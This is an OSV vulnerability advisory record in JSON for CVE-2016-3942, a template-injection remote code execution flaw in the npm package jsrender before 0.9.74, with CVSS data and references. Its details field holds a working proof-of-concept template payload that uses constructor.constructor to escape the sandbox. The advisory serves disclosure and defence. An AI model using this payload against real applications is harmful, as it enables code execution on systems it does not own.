原始 OSV JSON{
"id": "GHSA-r87w-47m8-22w3",
"aliases": [
"CVE-2016-3942"
],
"details": "Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.\n\n## Proof of Concept\n\n\n```js\n//POC-REQUEST\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n```\n\n```js\n//POC-RESPONSE\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n```\n\n\n## Recommendation\n\nUpdate to version 0.9.74 or later.",
"summary": "Template Injection in jsrender",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.74"
}
]
}
],
"package": {
"name": "jsrender",
"ecosystem": "npm"
},
"database_specific": {
"last_known_affected_version_range": "<= 0.9.73"
}
}
],
"modified": "2023-09-07T20:41:26Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
}
],
"published": "2020-09-01T15:24:24Z",
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-3942",
"type": "ADVISORY"
},
{
"url": "https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6",
"type": "WEB"
},
{
"url": "https://github.com/BorisMoore/jsrender",
"type": "PACKAGE"
},
{
"url": "https://snyk.io/vuln/SNYK-DOTNET-JSRENDER-60173",
"type": "WEB"
},
{
"url": "https://www.npmjs.com/advisories/97",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"severity": "MODERATE",
"github_reviewed": true,
"nvd_published_at": null,
"github_reviewed_at": "2020-08-31T18:10:44Z"
}
}